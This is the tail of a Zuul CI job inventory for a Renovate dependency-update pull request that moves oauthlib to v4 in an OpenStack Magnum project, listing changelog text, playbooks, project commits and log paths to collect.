          the validator must also populate `request.user` and `request.scopes` from
          the stored authorization.\n\n### [`v4.0.0`](https://redirect.github.com/oauthlib/oauthlib/blob/HEAD/CHANGELOG.rst#400-2026-09-28-)\n\n[Compare
          Source](https://redirect.github.com/oauthlib/oauthlib/compare/v3.3.1...v4.0.0)\n\nOAuth2.0
          Provider:\n\n- **Breaking**: [#&#8203;951](https://redirect.github.com/oauthlib/oauthlib/issues/951):
          Removed JSONP support from token revocation endpoint.\n  JSONP has been
          superseded by CORS for cross-origin requests.\n  The `enable_jsonp` parameter
          has been removed from `RevocationEndpoint`\n  and the `callback` parameter
          has been removed from\n  `prepare_token_revocation_request`.\n- **Breaking**:
          [#&#8203;919](https://redirect.github.com/oauthlib/oauthlib/issues/919),
          [#&#8203;920](https://redirect.github.com/oauthlib/oauthlib/issues/920):
          Fixed `DeviceCodeGrant.validate_token_request`\n  trying to authenticate
          public clients.\n  Client authentication validation has been reorganized
          and is now shared\n  across `AuthorizationCodeGrant`, `DeviceCodeGrant`,
          `RefreshTokenGrant`\n  and `ResourceOwnerPasswordCredentialsGrant`: the
          `grant_type` parameter\n  is validated before client authentication, so
          requests missing\n  `grant_type` now return `400 invalid_request` instead
          of\n  `401 invalid_client`.\n- [#&#8203;963](https://redirect.github.com/oauthlib/oauthlib/issues/963):
          Improved PKCE code comparison\n\nMisc:\n\n- [#&#8203;904](https://redirect.github.com/oauthlib/oauthlib/issues/904):
          Stop installing `examples` into `site-packages`.\n- [#&#8203;930](https://redirect.github.com/oauthlib/oauthlib/issues/930):
          Add devcontainer, Add Python3.14, Python3.14t.\n- [#&#8203;931](https://redirect.github.com/oauthlib/oauthlib/issues/931):
          Fix ruff checks about unused variables.\n- [#&#8203;932](https://redirect.github.com/oauthlib/oauthlib/issues/932):
          Dropped EOL Python 3.8 from CI.\n- [#&#8203;934](https://redirect.github.com/oauthlib/oauthlib/issues/934):
          Pre-commit hooks autoupdate.\n- [#&#8203;938](https://redirect.github.com/oauthlib/oauthlib/issues/938):
          Fix typos discovered by typos.\n- Add OAuthLib Maintainer agent for automated
          issue/PR triage and release\n  management.\n\n</details>\n\n---\n\n### Configuration\n\n\U0001F4C5
          **Schedule**: (UTC)\n\n- Branch creation\n  - At any time (no schedule defined)\n-
          Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/vexxhost/magnum-cluster-api).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
        change_url: https://github.com/vexxhost/magnum-cluster-api/pull/1174
        commit_id: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        patchset: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        project:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/magnum-cluster-api
          name: vexxhost/magnum-cluster-api
          short_name: magnum-cluster-api
          src_dir: src/github.com/vexxhost/magnum-cluster-api
        topic: null
      job: magnum-cluster-api-hydrophone-v1.36.1-cilium
      jobtags: []
      max_attempts: 3
      message: Y2hvcmUoZGVwcyk6IHVwZGF0ZSBkZXBlbmRlbmN5IG9hdXRobGliIHRvIHY0IFtzZWN1cml0eV0KClRoaXMgUFIgY29ud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InJlYWQifSwKICAgIH0sCiAgICAiaGlnaCI6IHsKICAgICAgICAic2VjcmV0IjogImhpZ2gtc2VjcmV0IiwKICAgICAgICAiZ3JhbnRzIjogeyJjbGllbnRfY3JlZGVudGlhbHMiLCAicGFzc3dvcmQifSwKICAgICAgICAic2NvcGVzIjogeyJyZWFkIiwgImFkbWluIn0sCiAgICB9LAp9CgpjbGFzcyBEZW1vVmFsaWRhdG9yKFJlcXVlc3RWYWxpZGF0b3IpOgogICAgZGVmIF9faW5pdF9fKHNlbGYpOgogICAgICAgIHNlbGYuc2F2ZWRfdG9rZW5zID0gW10KCiAgICBkZWYgYXV0aGVudGljYXRlX2NsaWVudChzZWxmLCByZXF1ZXN0LCAqYXJncywgKiprd2FyZ3MpOgogICAgICAgIGF1dGhvcml6YXRpb24gPSByZXF1ZXN0LmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgcHJlZml4ID0gIkJhc2ljICIKICAgICAgICBpZiBub3QgYXV0aG9yaXphdGlvbi5zdGFydHN3aXRoKHByZWZpeCk6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgICAgICBkZWNvZGVkID0gYmFzZTY0LmI2NGRlY29kZShhdXRob3JpemF0aW9uW2xlbihwcmVmaXgpOl0pLmRlY29kZSgidXRmLTgiKQogICAgICAgIGNsaWVudF9pZCwgc2VjcmV0ID0gZGVjb2RlZC5zcGxpdCgiOiIsIDEpCiAgICAgICAgcmVjb3JkID0gQ0xJRU5UUy5nZXQoY2xpZW50X2lkKQogICAgICAgIGlmIHJlY29yZCBpcyBOb25lIG9yIHJlY29yZFsic2VjcmV0Il0gIT0gc2VjcmV0OgogICAgICAgICAgICByZXR1cm4gRmFsc2UKCiAgICAgICAgIyBUaGlzIGlzIHRoZSBhdXRoZW50aWNhdGVkIGNsaWVudCBpZGVudGl0eS4KICAgICAgICByZXF1ZXN0LmNsaWVudCA9IENsaWVudChjbGllbnRfaWQpCiAgICAgICAgcmV0dX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e47bddc8ae9c889b85a7b158294eac1
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/vexxhost/zuul-config:
            canonical_name: github.com/vexxhost/zuul-config
            checkout: main
            commit: 298983cd1253e6833abdb49d87d912527e0e6597
          trusted/project_1/opendev.org/zuul/zuul-jobs:
            canonical_name: opendev.org/zuul/zuul-jobs
            checkout: master
            commit: e91b23005690e008852fed286f1bc269596ef1e1
          trusted/project_2/github.com/vexxhost/zuul-jobs:
            canonical_name: github.com/vexxhost/zuul-jobs
            checkout: main
            commit: 4fd48825891421af0774bdd500fee36e111d80a6
          untrusted/project_0/opendev.org/openstack/devstack:
            canonical_name: opendev.org/openstack/devstack
            checkout: master
            commit: 991524263fbb83bd3e232b04a929e143504a68b2
          untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs:
            canonical_name: opendev.org/openstack/openstack-zuul-jobs
            checkout: master
            commit: 4c1657533551f94b1652fa8ddbd9d689d8b090db
          untrusted/project_2/github.com/vexxhost/zuul-config:
            canonical_name: github.com/vexxhost/zuul-config
            checkout: main
            commit: 298983cd1253e6833abdb49d87d912527e0e6597
          untrusted/project_3/opendev.org/zuul/zuul-jobs:
            canonical_name: opendev.org/zuul/zuul-jobs
            checkout: master
            commit: e91b23005690e008852fed286f1bc269596ef1e1
          untrusted/project_4/github.com/vexxhost/zuul-jobs:
            canonical_name: github.com/vexxhost/zuul-jobs
            checkout: main
            commit: 4fd48825891421af0774bdd500fee36e111d80a6
          untrusted/project_5/github.com/vexxhost/magnum-cluster-api:
            canonical_name: github.com/vexxhost/magnum-cluster-api
            checkout: main
            commit: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        playbooks:
        - path: untrusted/project_5/github.com/vexxhost/magnum-cluster-api/zuul.d/playbooks/hydrophone/run.yml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/playbook_0/role_1/devstack
            link_target: untrusted/project_0/opendev.org/openstack/devstack
            role_path: ansible/playbook_0/role_1/devstack/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/playbook_0/role_2/openstack-zuul-jobs
            link_target: untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs
            role_path: ansible/playbook_0/role_2/openstack-zuul-jobs/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/playbook_0/role_4/zuul-jobs
            link_target: untrusted/project_3/opendev.org/zuul/zuul-jobs
            role_path: ansible/playbook_0/role_4/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_5/zuul-jobs
            link_target: untrusted/project_4/github.com/vexxhost/zuul-jobs
            role_path: ansible/playbook_0/role_5/zuul-jobs/roles
        post_playbooks:
        - path: untrusted/project_5/github.com/vexxhost/magnum-cluster-api/zuul.d/playbooks/hydrophone/post.yml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_0/role_1/devstack
            link_target: untrusted/project_0/opendev.org/openstack/devstack
            role_path: ansible/post_playbook_0/role_1/devstack/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_0/role_2/openstack-zuul-jobs
            link_target: untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs
            role_path: ansible/post_playbook_0/role_2/openstack-zuul-jobs/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_0/role_4/zuul-jobs
            link_target: untrusted/project_3/opendev.org/zuul/zuul-jobs
            role_path: ansible/post_playbook_0/role_4/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/post_playbook_0/role_5/zuul-jobs
            link_target: untrusted/project_4/github.com/vexxhost/zuul-jobs
            role_path: ansible/post_playbook_0/role_5/zuul-jobs/roles
        - path: untrusted/project_0/opendev.org/openstack/devstack/playbooks/post.yaml
          roles:
          - checkout: master
            checkout_description: playbook branch
            link_name: ansible/post_playbook_1/role_0/devstack
            link_target: untrusted/project_0/opendev.org/openstack/devstack
            role_path: ansible/post_playbook_1/role_0/devstack/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_1/role_1/openstack-zuul-jobs
            link_target: untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs
            role_path: ansible/post_playbook_1/role_1/openstack-zuul-jobs/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_1/role_3/zuul-jobs
            link_target: untrusted/project_3/opendev.org/zuul/zuul-jobs
            role_path: ansible/post_playbook_1/role_3/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/post_playbook_1/role_4/zuul-jobs
            link_target: untrusted/project_4/github.com/vexxhost/zuul-jobs
            role_path: ansible/post_playbook_1/role_4/zuul-jobs/roles
        - path: trusted/project_0/github.com/vexxhost/zuul-config/playbooks/base/post.yaml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_2/role_1/zuul-jobs
            link_target: trusted/project_1/opendev.org/zuul/zuul-jobs
            role_path: ansible/post_playbook_2/role_1/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/post_playbook_2/role_2/zuul-jobs
            link_target: trusted/project_2/github.com/vexxhost/zuul-jobs
            role_path: ansible/post_playbook_2/role_2/zuul-jobs/roles
        - path: trusted/project_0/github.com/vexxhost/zuul-config/playbooks/base/post-logs.yaml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/post_playbook_3/role_1/zuul-jobs
            link_target: trusted/project_1/opendev.org/zuul/zuul-jobs
            role_path: ansible/post_playbook_3/role_1/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/post_playbook_3/role_2/zuul-jobs
            link_target: trusted/project_2/github.com/vexxhost/zuul-jobs
            role_path: ansible/post_playbook_3/role_2/zuul-jobs/roles
        pre_playbooks:
        - path: trusted/project_0/github.com/vexxhost/zuul-config/playbooks/base/pre.yaml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_0/role_1/zuul-jobs
            link_target: trusted/project_1/opendev.org/zuul/zuul-jobs
            role_path: ansible/pre_playbook_0/role_1/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/pre_playbook_0/role_2/zuul-jobs
            link_target: trusted/project_2/github.com/vexxhost/zuul-jobs
            role_path: ansible/pre_playbook_0/role_2/zuul-jobs/roles
        - path: untrusted/project_0/opendev.org/openstack/devstack/playbooks/pre.yaml
          roles:
          - checkout: master
            checkout_description: playbook branch
            link_name: ansible/pre_playbook_1/role_0/devstack
            link_target: untrusted/project_0/opendev.org/openstack/devstack
            role_path: ansible/pre_playbook_1/role_0/devstack/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_1/role_1/openstack-zuul-jobs
            link_target: untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs
            role_path: ansible/pre_playbook_1/role_1/openstack-zuul-jobs/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_1/role_3/zuul-jobs
            link_target: untrusted/project_3/opendev.org/zuul/zuul-jobs
            role_path: ansible/pre_playbook_1/role_3/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/pre_playbook_1/role_4/zuul-jobs
            link_target: untrusted/project_4/github.com/vexxhost/zuul-jobs
            role_path: ansible/pre_playbook_1/role_4/zuul-jobs/roles
        - path: untrusted/project_5/github.com/vexxhost/magnum-cluster-api/zuul.d/playbooks/hydrophone/pre.yml
          roles:
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_2/role_1/devstack
            link_target: untrusted/project_0/opendev.org/openstack/devstack
            role_path: ansible/pre_playbook_2/role_1/devstack/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_2/role_2/openstack-zuul-jobs
            link_target: untrusted/project_1/opendev.org/openstack/openstack-zuul-jobs
            role_path: ansible/pre_playbook_2/role_2/openstack-zuul-jobs/roles
          - checkout: master
            checkout_description: job override ref
            link_name: ansible/pre_playbook_2/role_4/zuul-jobs
            link_target: untrusted/project_3/opendev.org/zuul/zuul-jobs
            role_path: ansible/pre_playbook_2/role_4/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/pre_playbook_2/role_5/zuul-jobs
            link_target: untrusted/project_4/github.com/vexxhost/zuul-jobs
            role_path: ansible/pre_playbook_2/role_5/zuul-jobs/roles
      post_review: false
      post_timeout: null
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/vexxhost/magnum-cluster-api
        name: vexxhost/magnum-cluster-api
        short_name: magnum-cluster-api
        src_dir: src/github.com/vexxhost/magnum-cluster-api
      projects:
        github.com/novnc/novnc:
          canonical_hostname: github.com
          canonical_name: github.com/novnc/novnc
          checkout: master
          checkout_description: job override ref
          commit: e8b5024d4603587b29ffede4fbd28b1fa2939829
          name: novnc/novnc
          required: true
          short_name: novnc
          src_dir: src/github.com/novnc/novnc
        github.com/vexxhost/magnum-cluster-api:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/magnum-cluster-api
          checkout: main
          checkout_description: zuul branch
          commit: b303d1a72e47bddc8ae9c889b85a7b158294eac1
          name: vexxhost/magnum-cluster-api
          required: false
          short_name: magnum-cluster-api
          src_dir: src/github.com/vexxhost/magnum-cluster-api
        opendev.org/openstack/barbican:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/barbican
          checkout: master
          checkout_description: job override ref
          commit: cd590f1b71660cfcdd7712949b5a0617a31e35f2
          name: openstack/barbican
          required: true
          short_name: barbican
          src_dir: src/opendev.org/openstack/barbican
        opendev.org/openstack/cinder:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/cinder
          checkout: master
          checkout_description: job override ref
          commit: 95b276fc1ccb13ec5e271916084f3976fb431606
          name: openstack/cinder
          required: true
          short_name: cinder
          src_dir: src/opendev.org/openstack/cinder
        opendev.org/openstack/devstack:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/devstack
          checkout: master
          checkout_description: job override ref
          commit: 991524263fbb83bd3e232b04a929e143504a68b2
          name: openstack/devstack
          required: true
          short_name: devstack
          src_dir: src/opendev.org/openstack/devstack
        opendev.org/openstack/glance:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/glance
          checkout: master
          checkout_description: job override ref
          commit: d9356a84b3a98bba33d851d8be4ca36c5345a0fb
          name: openstack/glance
          required: true
          short_name: glance
          src_dir: src/opendev.org/openstack/glance
        opendev.org/openstack/keystone:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/keystone
          checkout: master
          checkout_description: job override ref
          commit: 20cb05ca33acd4b261f750d3d3e8109dcf097a87
          name: openstack/keystone
          required: true
          short_name: keystone
          src_dir: src/opendev.org/openstack/keystone
        opendev.org/openstack/magnum:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/magnum
          checkout: master
          checkout_description: job override ref
          commit: a07d4c03cc0088f78f2851a8600f0089bd2cf539
          name: openstack/magnum
          required: true
          short_name: magnum
          src_dir: src/opendev.org/openstack/magnum
        opendev.org/openstack/manila:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/manila
          checkout: master
          checkout_description: job override ref
          commit: 00f1e18d531c84931e535bf513cf9f8ee19e4966
          name: openstack/manila
          required: true
          short_name: manila
          src_dir: src/opendev.org/openstack/manila
        opendev.org/openstack/neutron:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/neutron
          checkout: master
          checkout_description: job override ref
          commit: e5c7ddafc9a1847448fdc4096335a878ed04749d
          name: openstack/neutron
          required: true
          short_name: neutron
          src_dir: src/opendev.org/openstack/neutron
        opendev.org/openstack/nova:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/nova
          checkout: master
          checkout_description: job override ref
          commit: e3acd4a039d170036209b5c7f5202b7f72508506
          name: openstack/nova
          required: true
          short_name: nova
          src_dir: src/opendev.org/openstack/nova
        opendev.org/openstack/octavia:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/octavia
          checkout: master
          checkout_description: job override ref
          commit: 4306e874ce288eea80274a23b2a315123cfffde1
          name: openstack/octavia
          required: true
          short_name: octavia
          src_dir: src/opendev.org/openstack/octavia
        opendev.org/openstack/os-test-images:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/os-test-images
          checkout: master
          checkout_description: job override ref
          commit: 840ecd26fa6ba394512d9ddca91eb93dc4dd176a
          name: openstack/os-test-images
          required: true
          short_name: os-test-images
          src_dir: src/opendev.org/openstack/os-test-images
        opendev.org/openstack/ovn-octavia-provider:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/ovn-octavia-provider
          checkout: master
          checkout_description: job override ref
          commit: 65f8c142a6c0b92d5d2e1e8b00a4290b30bd2bf7
          name: openstack/ovn-octavia-provider
          required: true
          short_name: ovn-octavia-provider
          src_dir: src/opendev.org/openstack/ovn-octavia-provider
        opendev.org/openstack/placement:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/placement
          checkout: master
          checkout_description: job override ref
          commit: 180e7e4e2a198d24e290d90fba10f8be5dfa703c
          name: openstack/placement
          required: true
          short_name: placement
          src_dir: src/opendev.org/openstack/placement
        opendev.org/openstack/python-magnumclient:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/python-magnumclient
          checkout: master
          checkout_description: job override ref
          commit: 6adff3716e64de4b59de7396195d2a18189ac348
          name: openstack/python-magnumclient
          required: true
          short_name: python-magnumclient
          src_dir: src/opendev.org/openstack/python-magnumclient
        opendev.org/openstack/requirements:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/requirements
          checkout: master
          checkout_description: job override ref
          commit: 4e7932c879b889553e5629a4884ed98b0d2786a6
          name: openstack/requirements
          required: true
          short_name: requirements
          src_dir: src/opendev.org/openstack/requirements
        opendev.org/openstack/swift:
          canonical_hostname: opendev.org
          canonical_name: opendev.org/openstack/swift
          checkout: master
          checkout_description: job override ref
          commit: 722c873e5ffa1b489c52dc1839a4c6aa1ad3333a
          name: openstack/swift
          required: true
          short_name: swift
          src_dir: src/opendev.org/openstack/swift
      ref: refs/pull/1174/head
      resources: {}
      tenant: oss
      timeout: 7200
      topic: null
      voting: true
    zuul_copy_output:
      /etc/ceph: logs
      /etc/glusterfs/glusterd.vol: logs
      /etc/libvirt: logs
      /etc/lvm: logs
      /etc/resolv.conf: logs
      /etc/sudoers: logs
      /etc/sudoers.d: logs
      /var/log/ceph: logs
      /var/log/glusterfs: logs
      /var/log/libvirt: logs
      /var/log/mysql: logs
      /var/log/openvswitch: logs
      /var/log/postgresql: logs
      /var/log/rabbitmq: logs
      /var/log/unbound.log: logs
      '{{ devstack_conf_dir }}/.localrc.auto': logs
      '{{ devstack_conf_dir }}/.stackenv': logs
      '{{ devstack_conf_dir }}/local.conf': logs
      '{{ devstack_conf_dir }}/localrc': logs
      '{{ devstack_full_log}}': logs
      '{{ devstack_log_dir }}/atop': logs
      '{{ devstack_log_dir }}/devstacklog.txt': logs
      '{{ devstack_log_dir }}/devstacklog.txt.summary': logs
      '{{ devstack_log_dir }}/dstat-csv.log': logs
      '{{ devstack_log_dir }}/qemu.coredump': logs
      '{{ devstack_log_dir }}/tcpdump.pcap': logs
      '{{ devstack_log_dir }}/worlddump-latest.txt': logs
      '{{ stage_dir }}/apache': logs
      '{{ stage_dir }}/apache_config': logs
      '{{ stage_dir }}/audit.log': logs
      '{{ stage_dir }}/core': logs
      '{{ stage_dir }}/deprecations.log': logs
      '{{ stage_dir }}/df.txt': logs
      '{{ stage_dir }}/dpkg-l.txt': logs
      '{{ stage_dir }}/etc': logs
      '{{ stage_dir }}/iptables.txt': logs
      '{{ stage_dir }}/listen53.txt': logs
      '{{ stage_dir }}/mount.txt': logs
      '{{ stage_dir }}/performance.json': logs
      '{{ stage_dir }}/pip2-freeze.txt': logs
      '{{ stage_dir }}/pip3-freeze.txt': logs
      '{{ stage_dir }}/rpm-qa.txt': logs
      '{{ stage_dir }}/services.txt': logs
      '{{ stage_dir }}/verify_tempest_conf.log': logs
